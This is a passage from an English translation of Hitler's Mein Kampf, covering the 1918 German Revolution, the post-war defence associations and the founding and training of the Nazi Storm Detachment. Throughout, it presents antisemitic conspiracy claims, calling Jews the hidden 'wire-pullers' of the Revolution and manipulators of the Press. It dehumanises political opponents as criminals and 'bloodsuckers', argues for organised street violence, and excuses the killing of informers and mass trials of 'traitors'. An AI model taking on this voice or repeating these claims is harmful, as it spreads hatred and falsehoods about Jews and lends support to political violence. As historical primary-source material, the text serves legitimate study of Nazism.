meant that the +military penal code was no longer recognized as valid. An army of +deserters poured into the stations at the rear or returned home, +especially in 1918, and there began to form that huge criminal +organization with which we were suddenly faced, after November 7th, +1918, and which perpetrated the Revolution. + +The Front had nothing to do with all this. Naturally, the soldiers at +the Front were yearning for peace. But it was precisely that fact which +represented a special danger for the Revolution. For when the German +soldiers began to draw near home, after the Armistice, the +revolutionaries were in trepidation and asked the same question again +and again: What will the troops from the Front do? Will the field-greys +stand for it? + +During those weeks the Revolution was forced to give itself at least an +external appearance of moderation, if it were not to run the risk of +being wrecked in a moment by a few German divisions. For at that time, +even if the commander of one division alone had made up his mind to +rally the soldiers of his division, who had always remained faithful to +him, in an onslaught to tear down the red flag and put the 'councils' up +against the wall, or, if there was any resistance, to break it with +trench-mortars and hand grenades, that division would have grown into an +army of sixty divisions in less than four weeks. The Jew wire-pullers +were terrified by this prospect more than by anything else; and to +forestall this particular danger they found it necessary to give the +Revolution a certain aspect of moderation. They dared not allow it to +degenerate into Bolshevism, so they had to face the existing conditions +by putting up the hypocritical picture of 'order and tranquillity'. +Hence many important concessions, the appeal to the old civil service +and to the heads of the old Army. They would be needed at least for a +certain time, and only when they had served the purpose of Turks' Heads +could the deserved kick-out be administered with impunity. Then the +Republic would be taken entirely out of the hands of the old servants of +the State and delivered into the claws of the revolutionaries. + +They thought that this was the only plan which would succeed in duping +the old generals and civil servants and disarm any eventual opposition +beforehand through the apparently harmless and mild character of the new +regime. + +Practical experience has shown to what extent the plan succeeded. + +The Revolution, however, was not made by the peaceful and orderly +elements of the nation but rather by rioters, thieves and robbers. And +the way in which the Revolution was developing did not accord with the +intentions of these latter elements; still, on tactical grounds, it was +not possible to explain to them the reasons for the course things were +taking and make that course acceptable. + +As Social Democracy gradually gained power it lost more and more the +character of a crude revolutionary party. Of course in their inner +hearts the Social Democrats wanted a revolution; and their leaders had +no other end in view. Certainly not. But what finally resulted was only +a revolutionary programme; but not a body of men who would be able to +carry it out. A revolution cannot be carried through by a party of ten +million members. If such a movement were attempted the leaders would +find that it was not an extreme section of the population on which they +had to depend butrather the broad masses of the middle stratum; hence +the inert masses. + +Recognizing all this, already during the war, the Jews caused the famous +split in the Social Democratic Party. While the Social Democratic Party, +conforming to the inertia of its mass following, clung like a leaden +weight on the neck of the national defence, the actively radical +elements were extracted from it and formed into new aggressive columns +for purposes of attack. The Independent Socialist Party and the +Spartacist League were the storm battalions of revolutionary Marxism. +The objective assigned to them was to create a FAIT ACCOMPLI, on the +grounds of which the masses of the Social Democratic Party could take +their stand, having been prepared for this event long beforehand. The +feckless bourgeoisie had been estimated at its just value by the +Marxists and treated EN CANAILLE. Nobody bothered about it, knowing well +that in their canine servility the representatives of an old and +worn-out generation would not be able to offer any serious resistance. + +When the Revolution had succeeded and its artificers believed that the +main pillars of the old State had been broken down, the Army returning +from the Front began to appear in the light of a sinister sphinx and +thus made it necessary to slow down the national course of the +Revolution. The main body of the Social Democratic horde occupied the +conquered positions, and the Independent Socialist and Spartacist storm +battalions were side-tracked. + +But that did not happen without a struggle. + +The activist assault formations that had started the Revolution were +dissatisfied and felt that they had been betrayed. They now wanted to +continue the fight on their own account. But their illimitable +racketeering became odious even to the wire-pullers of the Revolution. +For the Revolution itself had scarcely been accomplished when two camps +appeared. In the one camp were the elements of peace and order; in the +other were those of blood and terror. Was it not perfectly natural that +our bourgeoisie should rush with flying colours to the camp of peace and +order? For once in their lives their piteous political organizations +found it possible to act, inasmuch as the ground had been prepared for +them on which they were glad to get a new footing; and thus to a certain +extent they found themselves in coalition with that power which they +hated but feared. The German political bourgeoisie achieved the high +honour of being able to associate itself with the accursed Marxist +leaders for the purpose of combating Bolshevism. + +Thus the following state of affairs took shape as early as December 1918 +and January 1919: + +A minority constituted of the worst elements had made the Revolution. +And behind this minority all the Marxist parties immediately fell into +step. The Revolution itself had an outward appearance of moderation, +which aroused against it the enmity of the fanatical extremists. These +began to launch hand-grenades and fire machine-guns, occupying public +buildings, thus threatening to destroy the moderate appearance of the +Revolution. To prevent this terror from developing further a truce was +concluded between the representatives of the new regime and the +adherents of the old order, so as to be able to wage a common fight +against the extremists. The result was that the enemies of the Republic +ceased to oppose the Republic as such and helped to subjugate those who +were also enemies of the Republic, though for quite different reasons. +But a further result was that all danger of the adherents of the old +State putting up a fight against the new was now definitely averted. + +This fact must always be clearly kept in mind. Only by remembering it +can we understand how it was possible that a nation in which nine-tenths +of the people had not joined in a revolution, where seven-tenths +repudiated it and six-tenths detested it--how this nation allowed the +Revolution to be imposed upon it by the remaining one-tenth of the +population. + +Gradually the barricade heroes in the Spartacist camp petered out, and +so did the nationalist patriots and idealists on the other side. As +these two groups steadily dwindled, the masses of the middle stratum, as +always happens, triumphed. The Bourgeoisie and the Marxists met together +on the grounds of accomplished facts, and the Republic began to be +consolidated. At first, however, that did not prevent the bourgeois +parties from propounding their monarchist ideas for some time further, +especially at the elections, whereby they endeavoured to conjure up the +spirits of the dead past to encourage their own feeble-hearted +followers. It was not an honest proceeding. In their hearts they had +broken with the monarchy long ago; but the foulness of the new regime +had begun to extend its corruptive action and make itself felt in the +camp of the bourgeois parties. The common bourgeois politician now felt +better in the slime of republican corruption than in the severe decency +of the defunct State, which still lived in his memory. + +As I have already pointed out, after the destruction of the old Army the +revolutionary leaders were forced to strengthen statal authority by +creating a new factor of power. In the conditions that existed they +could do this only by winning over to their side the adherents of a +WELTANSCHAUUNG which was a direct contradiction of their own. From +those elements alone it was possible slowly to create a new army which, +limited numerically by the peace treaties, had to be subsequently +transformed in spirit so as to become an instrument of the new regime. + +Setting aside the defects of the old State, which really became the +cause of the Revolution, if we ask how it was possible to carry the +Revolution to a successful issue as a political act, we arrive at the +following conclusions: + +l. It was due to a process of dry rot in our conceptions of duty and +obedience. + +2. It was due also to the passive timidity of the Parties who were +supposed to uphold the State. + +To this the following must be added: The dry rot which attacked our +concepts of duty and obedience was fundamentally due to our wholly +non-national and purely State education. From this came the habit of +confusing means and ends. Consciousness of duty, fulfilment of duty, and +obedience, are not ends in themselves no more than the State is an end +in itself; but they all ought to be employed as means to facilitate and +assure the existence of a community of people who are kindred both +physically and spiritually. At a moment when a nation is manifestly +collapsing and when all outward signs show that it is on the point of +becoming the victim of ruthless oppression, thanks to the conduct of a +few miscreants, to obey these people and fulfil one's duty towards them +is merely doctrinaire formalism, and indeed pure folly; whereas, on the +other hand, the refusal of obedience and fulfilment of duty in such a +case might save the nation from collapse. According to our current +bourgeois idea of the State, if a divisional general received from above +the order not to shoot he fulfilled his duty and therefore acted rightly +in not shooting, because to the bourgeois mind blind formal obedience is +a more valuable thing than the life of a nation. But according to the +National Socialist concept it is not obedience to weak superiors that +should prevail at such moments, in such an hour the duty of assuming +personal responsibility towards the whole nation makes its appearance. + +The Revolution succeeded because that concept had ceased to be a vital +force with our people, or rather with our governments, and died down to +something that was merely formal and doctrinaire. + +As regards the second point, it may be said that the more profound cause +of the fecklessness of the bourgeois parties must be attributed to the +fact that the most active and upright section of our people had lost +their lives in the war. Apart from that, the bourgeois parties, which +may be considered as the only political formations that stood by the old +State, were convinced that they ought to defend their principles only by +intellectual ways and means, since the use of physical force was +permitted only to the State. That outlook was a sign of the weakness and +decadence which had been gradually developing. And it was also senseless +at a period when there was a political adversary who had long ago +abandoned that standpoint and, instead of this, had openly declared that +he meant to attain his political ends by force whenever that became +possible. When Marxism emerged in the world of bourgeois democracy, as a +consequence of that democracy itself, the appeal sent out by the +bourgeois democracy to fight Marxism with intellectual weapons was a +piece of folly for which a terrible expiation had to be made later on. +For Marxism always professed the doctrine that the use of arms was a +matter which had to be judged from the standpoint of expediency and that +success justified the use of arms. + +This idea was proved correct during the days from November 7 to 10, +1918. The Marxists did not then bother themselves in the least about +parliament or democracy, but they gave the death blow to both by turning +loose their horde of criminals to shoot and raise hell. + +When the Revolution was over the bourgeois parties changed the title of +their firm and suddenly reappeared, the heroic leaders emerging from +dark cellars or more lightsome storehouses where they had sought refuge. +But, just as happens in the case of all representatives of antiquated +institutions, they had not forgotten their errors or learned anything +new. Their political programme was grounded in the past, even though +they themselves had become reconciled to the new regime. Their aim was +to secure a share in the new establishment, and so they continued the +use of words as their sole weapon. + +Therefore after the Revolution the bourgeois parties also capitulated to +the street in a miserable fashion. + +When the law for the Protection of the Republic was introduced the +majority was not at first in favour of it. But, confronted with two +hundred thousand Marxists demonstrating in the streets, the bourgeois +'statesmen' were so terror-stricken that they voted for the Law against +their wills, for the edifying reason that otherwise they feared they +might get their heads smashed by the enraged masses on leaving the +Reichstag. + +And so the new State developed along its own course, as if there had +been no national opposition at all. + +The only organizations which at that time had the strength and courage +to face Marxism and its enraged masses were first of all the volunteer +corps (Note 19), and subsequently the organizations for self-defence, the +civic guards and finally the associations formed by the demobilized +soldiers of the old Army. + +[Note 19. After the DEBACLE of 1918 several semi-military associations were +formed by demobilized officers who had fought at the Front. These were +semi-clandestine associations and were known as FREIKORPS (Volunteer +corps). Their principal purpose was to act as rallying centres for the +old nationalist elements.] + +But the existence of these bodies did not appreciably change the course +of German history; and that for the following causes: + +As the so-called national parties were without influence, because they +had no force which could effectively demonstrate in the street, the +Leagues of Defence could not exercise any influence because they had no +political idea and especially because they had no definite political aim +in view. + +The success which Marxism once attained was due to perfect co-operation +between political purposes and ruthless force. What deprived nationalist +Germany of all practical hopes of shaping German development was the +lack of a determined co-operation between brute force and political aims +wisely chosen. + +Whatever may have been the aspirations of the 'national' parties, they +had no force whatsoever to fight for these aspirations, least of all in +the streets. + +The Defence Leagues had force at their disposal. They were masters of +the street and of the State, but they lacked political ideas and aims on +behalf of which their forces might have been or could have been employed +in the interests of the German nation. The cunning Jew was able in both +cases, by his astute powers of persuasion, in reinforcing an already +existing tendency to make this unfortunate state of affairs permanent +and at the same time to drive the roots of it still deeper. + +The Jew succeeded brilliantly in using his Press for the purpose of +spreading abroad the idea that the defence associations were of a +'non-political' character just as in politics he was always astute +enough to praise the purely intellectual character of the struggle and +demand that it must always be kept on that plane + +Millions of German imbeciles then repeated this folly without having the +slightest suspicion that by so doing they were, for all practical +purposes, disarming themselves and delivering themselves defenceless +into the hands of the Jew. + +But there is a natural explanation of this also. The lack of a great +idea which would re-shape things anew has always meant a limitation in +fighting power. The conviction of the right to employ even the most +brutal weapons is always associated with an ardent faith in the +necessity for a new and revolutionary transformation of the world. + +A movement which does not fight for such high aims and ideals will never +have recourse to extreme means. + +The appearance of a new and great idea was the secret of success in the +French Revolution. The Russian Revolution owes its triumph to an idea. +And it was only the idea that enabled Fascism triumphantly to subject a +whole nation to a process of complete renovation. + +Bourgeois parties are not capable of such an achievement. And it was not +the bourgeois parties alone that fixed their aim in a restoration of the +past. The defence associations also did so, in so far as they concerned +themselves with political aims at all. The spirit of the old war legions +and Kyffauser tendencies lived in them and therewith helped politically +to blunt the sharpest weapons which the German nation then possessed and +allow them to rust in the hands of republican serfs. The fact that these +associations were inspired by the best of intentions in so doing, and +certainly acted in good faith, does not alter in the slightest degree +the foolishness of the course they adopted. + +In the consolidated REICHSWEHR Marxism gradually acquired the support of +force, which it needed for its authority. As a logical consequence it +proceeded to abolish those defence associations which it considered +dangerous, declaring that they were now no longer necessary. Some rash +leaders who defied the Marxist orders were summoned to court and sent to +prison. But they all got what they had deserved. + +The founding of the National Socialist German Labour Party incited a +movement which was the first to fix its aim, not in a mechanical +restoration of the past--as the bourgeois parties did--but in the +substitution of an organic People's State for the present absurd statal +mechanism. + +From the first day of its foundation the new movement took its stand on +the principle that its ideas had to be propagated by intellectual means +but that, wherever necessary, muscular force must be employed to support +this propaganda. In accordance with their conviction of the paramount +importance of the new doctrine, the leaders of the new movement +naturally believe that no sacrifice can be considered too great when it +is a question of carrying through the purpose of the movement. + +I have emphasized that in certain circumstances a movement which is +meant to win over the hearts of the people must be ready to defend +itself with its own forces against terrorist attempts on the part of its +adversaries. It has invariably happened in the history of the world that +formal State authority has failed to break a reign of terror which was +inspired by a WELTANSCHAUUNG. It can only be conquered by a new and +different WELTANSCHAUUNG whose representatives are quite as audacious +and determined. The acknowledgment of this fact has always been very +unpleasant for the bureaucrats who are the protectors of the State, but +the fact remains nevertheless. The rulers of the State can guarantee +tranquillity and order only in case the State embodies a WELTANSCHAUUNG +which is shared in by the people as a whole; so that elements of +disturbance can be treated as isolated criminals, instead of being +considered as the champions of an idea which is diametrically opposed to +official opinions. If such should be the case the State may employ the +most violent measures for centuries long against the terror that +threatens it; but in the end all these measures will prove futile, and +the State will have to succumb. + +The German State is intensely overrun by Marxism. In a struggle that +went on for seventy years the State was not able to prevent the triumph +of the Marxist idea. Even though the sentences to penal servitude and +imprisonment amounted in all to thousands of years, and even though the +most sanguinary methods of repression were in innumerable instances +threatened against the champions of the Marxist WELTANSCHAUUNG, in the +end the State was forced to capitulate almost completely. The ordinary +bourgeois political leaders will deny all this, but their protests are +futile. + +Seeing that the State capitulated unconditionally to Marxism on November +9th, 1918, it will not suddenly rise up tomorrow as the conqueror of +Marxism. On the contrary. Bourgeois simpletons sitting on office stools +in the various ministries babble about the necessity of not governing +against the wishes of the workers, and by the word 'workers' they mean +the Marxists. By identifying the German worker with Marxism not only are +they guilty of a vile falsification of the truth, but they thus try to +hide their own collapse before the Marxist idea and the Marxist +organization. + +In view of the complete subordination of the present State to Marxism, +the National Socialist Movement feels all the more bound not only to +prepare the way for the triumph of its idea by appealing to the reason +and understanding of the public but also to take upon itself the +responsibility of organizing its own defence against the terror of the +International, which is intoxicated with its own victory. + +I have already described how practical experience in our young movement +led us slowly to organize a system of defence for our meetings. This +gradually assumed the character of a military body specially trained for +the maintenance of order, and tended to develop into a service which +would have its properly organized cadres. + +This new formation might resemble the defence associations externally, +but in reality there were no grounds of comparison between the one and +the other. + +As I have already said, the German defence organizations did not have +any definite political ideas of their own. They really were only +associations for mutual protection, and they were trained and organized +accordingly, so that they were an illegal complement or auxiliary to the +legal forces of the State. Their character as free corps arose only from +the way in which they were constructed and the situation in which the +State found itself at that time. But they certainly could not claim to +be free corps on the grounds that they were associations formed freely +and privately for the purpose of fighting for their own freely formed +political convictions. Such they were not, despite the fact that some of +their leaders and some associations as such were definitely opposed to +the Republic. For before we can speak of political convictions in the +higher sense we must be something more than merely convinced that the +existing regime is defective. Political convictions in the higher sense +mean that one has the picture of a new regime clearly before one's mind, +feels that the establishment of this regime is an absolute necessity and +sets himself to carry out that purpose as the highest task to which his +life can be devoted. + +The troops for the preservation of order, which were then formed under +the National Socialist Movement, were fundamentally different from all +the other defence associations by reason of the fact that our formations +were not meant in any way to defend the state of things created by the +Revolution, but rather that they were meant exclusively to support our +struggle for the creation of a new Germany. + +In the beginning this body was merely a guard to maintain order at our +meetings. Its first task was limited to making it possible for us to +hold our meetings, which otherwise would have been completely prevented +by our opponents. These men were at that time trained merely for +purposes of attack, but they were not taught to adore the big stick +exclusively, as was then pretended in stupid German patriotic circles. +They used the cudgel because they knew that it can be made impossible +for high ideals to be put forward if the man who endeavours to propagate +them can be struck down with the cudgel. As a matter of fact, it has +happened in history not infrequently that some of the greatest minds +have perished under the blows of the most insignificant helots. Our +bodyguards did not look upon violence as an end in itself, but they +protected the expositors of ideal aims and purposes against hostile +coercion by violence. They also understood that there was no obligation +to undertake the defence of a State which did not guarantee the defence +of the nation, but that, on the contrary, they had to defend the nation +against those who were threatening to destroy nation and State. + +After the fight which took place at the meeting in the Munich +Hofbräuhaus, where the small number of our guards who were present won +everlasting fame for themselves by the heroic manner in which they +stormed the adversaries; these guards were called THE STORM DETACHMENT. +As the name itself indicates, they represent only a DETACHMENT of the +Movement. They are one constituent element of it, just as is the Press, +the propaganda, educational institutes, and other sections of the Party. + +We learned how necessary was the formation of such a body, not only from +our experience on the occasion of that memorable meeting but also when +we sought gradually to carry the Movement beyond Munich and extend it to +the other parts of Germany. Once we had begun to appear as a danger to +Marxism the Marxists lost no opportunity of trying to crush beforehand +all preparations for the holding of National Socialist meetings. When +they did not succeed in this they tried to break up the meeting itself. +It goes without saying that all the Marxist organizations, no matter of +what grade or view, blindly supported the policy and activities of their +representations in every case. But what is to be said of the bourgeois +parties who, when they were reduced to silence by these same Marxists +and in many places did not dare to send their speakers to appear before +the public, yet showed themselves pleased, in a stupid and +incomprehensible manner, every time we received any kind of set-back in +our fight against Marxism. The bourgeois parties were happy to think +that those whom they themselves could not stand up against, but had to +knuckle down to, could not be broken by us. What must be said of those +State officials, chiefs of police, and even cabinet ministers, who +showed a scandalous lack of principle in presenting themselves +externally to the public as 'national' and yet shamelessly acted as the +henchmen of the Marxists in the disputes which we, National Socialists, +had with the latter. What can be said of persons who debased themselves +so far, for the sake of a little abject praise in the Jewish Press, that +they persecuted those men to whose heroic courage and intervention, +regardless of risk, they were partly indebted for not having been torn +to pieces by the Red mob a few years previously and strung up to the +lamp-posts? + +One day these lamentable phenomena fired the late but unforgotten +Prefect Pöhner--a man whose unbending straightforwardness forced him to +hate all twisters and to hate them as only a man with an honest heart +can hate--to say: "In all my life I wished to be first a German and then +an official, and I never wanted to mix up with these creatures who, as +if they were kept officials, prostituted themselves before anybody who +could play lord and master for the time being." + +It was a specially sad thing that gradually tens of thousands of honest +and loyal servants of the State did not only come under the power of +such people but were also slowly contaminated by their unprincipled +morals. Moreover, these kind of men pursued honest officials with a +furious hatred, degrading them and driving them from their positions, +and yet passed themselves off as 'national' by the aid of their lying +hypocrisy. + +From officials of that kind we could expect no support, and only in very +rare instances was it given. Only by building up its own defence could +our movement become secure and attract that amount of public attention +and general respect which is given to those who can defend themselves +when attacked. + +As an underlying principle in the internal development of the Storm +Detachment, we came to the decision that not only should it be perfectly +trained in bodily efficiency but that the men should be so instructed as +to make them indomitably convinced champions of the National Socialist +ideas and, finally, that they should be schooled to observe the +strictest discipline. This body was to have nothing to do with the +defence organizations of the bourgeois type and especially not with any +secret organization. + +My reasons at that time for guarding strictly against letting the Storm +Detachment of the German National Socialist Labour Party appear as a +defence association were as follows: + +On purely practical grounds it is impossible to build up a national +defence organization by means of private associations, unless the State +makes an enormous contribution to it. Whoever thinks otherwise +overestimates his own powers. Now it is entirely out of the question to +form organizations of any military value for a definite purpose on the +principle of so-called 'voluntary discipline'. Here the chief support +for enforcing orders, namely, the power of inflicting punishment, is +lacking. In the autumn, or rather in the spring, of 1919 it was still +possible to raise 'volunteer corps', not only because most of the men +who came forward at that time had been through the school of the old +Army, but also because the kind of duty imposed there constrained the +individual to absolute obedience at least for a definite period of time. + +That spirit is entirely lacking in the volunteer defence organizations +of to-day. The more the defence association grows, the weaker its +discipline becomes and so much the less can one demand from the +individual members. Thus the whole organization will more and more +assume the character of the old non-political associations of war +comrades and veterans. + +It is impossible to carry through a voluntary training in military +service for larger masses unless one is assured absolute power of +command. There will always be few men who will voluntarily and +spontaneously submit to that kind of obedience which is considered +natural and necessary in the Army. + +Moreover, a proper system of military training cannot be developed where +there are such ridiculously scanty means as those at the disposal of the +defence associations. The principal task of such an institution must be +to impart the best and most reliable kind of instruction. Eight years +have passed since the end of the War, and during that time none of our +German youth, at an age when formerly they would have had to do military +service, have received any systematic training at all. The aim of a +defence association cannot be to enlist here and now all those who have +already received a military training; for in that case it could be +reckoned with mathematical accuracy when the last member would leave the +association. Even the younger soldier from 1918 will no longer be fit +for front-line service twenty years later, and we are approaching that +state of things with a rapidity that gives cause for anxiety. Thus the +defence associations must assume more and more the aspect of the old +ex-service men's societies. But that cannot be the meaning and purpose +of an institution which calls itself, not an association of ex-service +men but a DEFENCE association, indicating by this title that it +considers its task to be, not only to preserve the tradition of the old +soldiers and hold them together but also to propagate the idea of +national defence and be able to carry this idea into practical effect, +which means the creation of a body of men who are fit and trained for +military defence. + +But this implies that those elements will receive a military training +which up to now have received none. This is something that in practice +is impossible for the defence associations. Real soldiers cannot be made +by a training of one or two hours per week. In view of the enormously +increasing demands which modern warfare imposes on each individual +soldier to-day, a military service of two years is barely sufficient to +transform a raw recruit into a trained soldier. At the Front during the +War we all saw the fearful consequences which our young recruits had to +suffer from their lack of a thorough military training. Volunteer +formations which had been drilled for fifteen or twenty weeks under an +iron discipline and shown unlimited self-denial proved nevertheless to +be no better than cannon fodder at the Front. Only when distributed +among the ranks of the old and experienced soldiers could the young +recruits, who had been trained for four or six months, become useful +members of a regiment. Guided by the 'old men', they adapted themselves +gradually to their task. + +In the light of all this, how hopeless must the attempt be to create a +body of fighting troops by a so-called training of one or two hours in +the week, without any definite power of command and without any +considerable means. In that way perhaps one could refresh military +training in old soldiers, but raw recruits cannot thus be transformed +into expert soldiers. + +How such a proceeding produces utterly worthless results may also be +demonstrated by the fact that at the same time as these so-called +volunteer defence associations, with great effort and outcry and under +difficulties and lack of necessities, try to educate and train a few +thousand men of goodwill (the others need not be taken into account) for +purposes of national defence, the State teaches our young men democratic +and pacifist ideas and thus deprives millions and millions of their +national instincts, poisons their logical sense of patriotism and +gradually turns them into a herd of sheep who will patiently follow any +arbitrary command. Thus they render ridiculous all those attempts made +by the defence associations to inculcate their ideas in the minds of the +German youth. + +Almost more important is the following consideration, which has always +made me take up a stand against all attempts at a so-called military +training on the basis of the volunteer associations. + +Assuming that, in spite of all the difficulties just mentioned, a +defence association were successful in training a certain number of +Germans every year to be efficient soldiers, not only as regards their +mental outlook but also as regards bodily efficiency and the expert +handling of arms, the result must necessarily be null and void in a +State whose whole tendency makes it not only look upon such a defensive +formation as undesirable but even positively hate it, because such an +association would completely contradict the intimate aims of the +political leaders, who are the corrupters of this State. + +But anyhow, such a result would be worthless under governments which +have demonstrated by their own acts that they do not lay the slightest +importance on the military power of the nation and are not disposed to +permit an appeal to that power only in case that it were necessary for +the protection of their own malignant existence. + +And that is the state of affairs to-day. It is not ridiculous to think +of training some ten thousand men in the use of arms, and carry on that +training surreptitiously, when a few years previously the State, having +shamefully sacrificed eight-and-a-half million highly trained soldiers, +not merely did not require their services any more, but, as a mark of +gratitude for their sacrifices, held them up to public contumely. Shall +we train soldiers for a regime which besmirched and spat upon our most +glorious soldiers, tore the medals and badges from their breasts, +trampled on their flags and derided their achievements? Has the present +regime taken one step towards restoring the honour of the old army and +bringing those who destroyed and outraged it to answer for their deeds? +Not in the least. On the contrary, the people I have just referred to +may be seen enthroned in the highest positions under the State to-day. +And yet it was said at Leipzig: "Right goes with might." Since, however, +in our Republic to-day might is in the hands of the very men who +arranged for the Revolution, and since that Revolution represents a most +despicable act of high treason against the nation--yea, the vilest act +in German history--there can surely be no grounds for saying that might +of this character should be enhanced by the formation of a new young +army. It is against all sound reason. + +The importance which this State attached, after the Revolution of 1918, +to the reinforcement of its position from the military point of view is +clearly and unmistakably demonstrated by its attitude towards the large +self-defence organizations which existed in that period. They were not +unwelcome as long as they were of use for the personal protection of the +miserable creatures cast up by the Revolution. + +But the danger to these creatures seemed to disappear as the debasement +of our people gradually increased. As the existence of the defence +associations no longer implied a reinforcement of the national policy +they became superfluous. Hence every effort was made to disarm them and +suppress them wherever that was possible. + +History records only a few examples of gratitude on the part of princes. +But there is not one patriot among the new bourgeoisie who can count on +the gratitude of revolutionary incendiaries and assassins, persons who +have enriched themselves from the public spoil and betrayed the nation. +In examining the problem as to the wisdom of forming these defence +associations I have never ceased to ask: 'For whom shall I train these +young men? For what purpose will they be employed when they will have to +be called out?' The answer to these questions lays down at the same time +the best rule for us to follow. + +If the present State should one day have to call upon trained troops of +this kind it would never be for the purpose of defending the interests +of the nation VIS-À-VIS those of the stranger but rather to protect the +oppressors of the nation inside the country against the danger of a +general outbreak of wrath on the part of a nation which has been +deceived and betrayed and whose interests have been bartered away. + +For this reason it was decided that the Storm Detachment of the German +National Socialist Labour Party ought not to be in the nature of a +military organization. It had to be an instrument of protection and +education for the National Socialist Movement and its duties should be +in quite a different sphere from that of the military defence +association. + +And, of course, the Storm Detachment should not be in the nature of a +secret organization. Secret organizations are established only for +purposes that are against the law. Therewith the purpose of such an +organization is limited by its very nature. Considering the loquacious +propensities of the German people, it is not possible to build up any +vast organization, keeping it secret at the same time and cloaking its +purpose. Every attempt of that kind is destined to turn out absolutely +futile. It is not merely that our police officials to-day have at their +disposal a staff of eaves-droppers and other such rabble who are ready +to play traitor, like Judas, for thirty pieces of silver and will betray +whatever secrets they can discover and will invent what they would like +to reveal. In order to forestall such eventualities, it is never +possible to bind one's own followers to the silence that is necessary. +Only small groups can become really secret societies, and that only +after long years of filtration. But the very smallness of such groups +would deprive them of all value for the National Socialist Movement. +What we needed then and need now is not one or two hundred dare-devil +conspirators but a hundred thousand devoted champions of our +WELTANSCHAUUNG. The work must not be done through secret conventicles +but through formidable mass demonstrations in public. Dagger and pistol +and poison-vial cannot clear the way for the progress of the movement. +That can be done only by winning over the man in the street. We must +overthrow Marxism, so that for the future National Socialism will be +master of the street, just as it will one day become master of the +State. + +There is another danger connected with secret societies. It lies in the +fact that their members often completely misunderstand the greatness of +the task in hand and are apt to believe that a favourable destiny can be +assured for the nation all at once by means of a single murder. Such a +belief may find historical justification by appealing to cases where a +nation had been suffering under the tyranny of some oppressor who at the +same time was a man of genius and whose extraordinary personality +guaranteed the internal solidity of his position and enabled him to +maintain his fearful oppression. In such cases a man may suddenly arise +from the ranks of the people who is ready to sacrifice himself and +plunge the deadly steel into the heart of the hated individual. In order +to look upon such a deed as abhorrent one must have the republican +mentality of that petty CANAILLE who are conscious of their own crime. +But the greatest champion (Note 20) of liberty that the German people have +ever had has glorified such a deed in WILLIAM TELL. + +[Note 20. Schiller, who wrote the famous drama of WILLIAM TELL.] + +During 1919 and 1920 there was danger that the members of secret +organizations, under the influence of great historical examples and +overcome by the immensity of the nation's misfortunes, might attempt to +wreak vengeance on the destroyers of their country, under the belief +that this would end the miseries of the people. All such attempts were +sheer folly, for the reason that the Marxist triumph was not due to the +superior genius of one remarkable person but rather to immeasurable +incompetence and cowardly shirking on the part of the bourgeoisie. The +hardest criticism that can be uttered against our bourgeoisie is simply +to state the fact that it submitted to the Revolution, even though the +Revolution did not produce one single man of eminent worth. One can +always understand how it was possible to capitulate before a +Robespierre, a Danton, or a Marat; but it was utterly scandalous to go +down on all fours before the withered Scheidemann, the obese Herr +Erzberger, Frederick Ebert, and the innumerable other political pigmies +of the Revolution. There was not a single man of parts in whom one could +see the revolutionary man of genius. Therein lay the country's +misfortune; for they were only revolutionary bugs, Spartacists wholesale +and retail. To suppress one of them would be an act of no consequence. +The only result would be that another pair of bloodsuckers, equally fat +and thirsty, would be ready to take his place. + +During those years we had to take up a determined stand against an idea +which owed its origin and foundation to historical episodes that were +really great, but to which our own despicable epoch did not bear the +slightest similarity. + +The same reply may be given when there is question of putting somebody +'on the spot' who has acted as a traitor to his country. It would be +ridiculous and illogical to shoot a poor wretch (Note 21) who had betrayed +the position of a howitzer to the enemy while the highest positions of the +government are occupied by a rabble who bartered away a whole empire, +who have on their consciences the deaths of two million men who were +sacrificed in vain, fellows who were responsible for the millions maimed +in the war and who make a thriving business out of the republican regime +without allowing their souls to be disturbed in any way. It would be +absurd to do away with small traitors in a State whose government has +absolved the great traitors from all punishment. For it might easily +happen that one day an honest idealist, who, out of love for his +country, had removed from circulation some miserable informer that had +given information about secret stores of arms might now be called to +answer for his act before the chief traitors of the country. And there +is still an important question: Shall some small traitorous creature be +suppressed by another small traitor, or by an idealist? In the former +case the result would be doubtful and the deed would almost surely be +revealed later on. In the second case a petty rascal is put out of the +way and the life of an idealist who may be irreplaceable is in jeopardy. + +[Note 21. The reference here is to those who gave information to the +Allied Commissions about hidden stores of arms in Germany.] + +For myself, I believe that small thieves should not be hanged while big +thieves are allowed to go free. One day a national tribunal will have to +judge and sentence some tens of thousands of organizers who were +responsible for the criminal November betrayal and all the consequences +that followed on it. Such an example will teach the necessary lesson, +once and for ever, to those paltry traitors who revealed to the enemy +the places where arms were hidden. + +On the grounds of these considerations I steadfastly forbade all +participation in secret societies, and I took care that the Storm +Detachment should not assume such a character. During those years I kept +the National Socialist Movement away from those experiments which were +being undertaken by young Germans who for the most part were inspired +with a sublime idealism but who became the victims of their own deeds, +because they could not ameliorate the lot of their fatherland to the +slightest degree. + +If then the Storm Detachment must not be either a military defence +organization or a secret society, the following conclusions must result: + +1. Its training must not be organized from the military standpoint but +from the standpoint of what is most practical for party purposes. Seeing +that its members must undergo a good physical training, the place of +chief importance must not be given to military drill but rather to the +practice of sports. I have always considered boxing and ju-jitsu more +important than some kind of bad, because mediocre, training in +rifle-shooting. If the German nation were presented with a body of young +men who had been perfectly trained in athletic sports, who were imbued +with an ardent love for their country and a readiness to take the +initiative in a fight, then the national State could make an army out of +that body within less than two years if it were necessary, provided the +cadres already existed. In the actual state of affairs only the +REICHSWEHR could furnish the cadres and not a defence organization that +was neither one thing nor the other. Bodily efficiency would develop in +the individual a conviction of his superiority and would give him that +confidence which is always based only on the consciousness of one's own +powers. They must also develop that athletic agility which can be +employed as a defensive weapon in the service of the Movement. + +2. In order to safeguard the Storm Detachment against any tendency +towards secrecy, not only must the uniform be such that it can +immediately be recognized by everybody, but the large number of its +effectives show the direction in which the Movement is going and which +must be known to the whole public. The members of the Storm Detachment +must not hold secret gatherings but must march in the open and thus, by +their actions, put an end to all legends about a secret organization. In +order to keep them away from all temptations towards finding an outlet +for their activities in small conspiracies, from the very beginning we +had to inculcate in their minds the great idea of the Movement and +educate them so thoroughly to the task of defending this idea that their +horizon became enlarged and that the individual no longer considered it +his mission to remove from circulation some rascal or other, whether big +or small, but to devote himself entirely to the task of bringing about +the establishment of a new National Socialist People's State. In this +way the struggle against the present State was placed on a higher plane +than that of petty revenge and small conspiracies. It was elevated to +the level of a spiritual struggle on behalf of a WELTANSCHAUUNG, for +the destruction of Marxism in all its shapes and forms. + +3. The form of organization adopted for the Storm Detachment, as well as +its uniform and equipment, had to follow different models from those of +the old Army. They had to be specially suited to the requirements of the +task that was assigned to the Storm Detachment. + +These were the ideas I followed in 1920 and 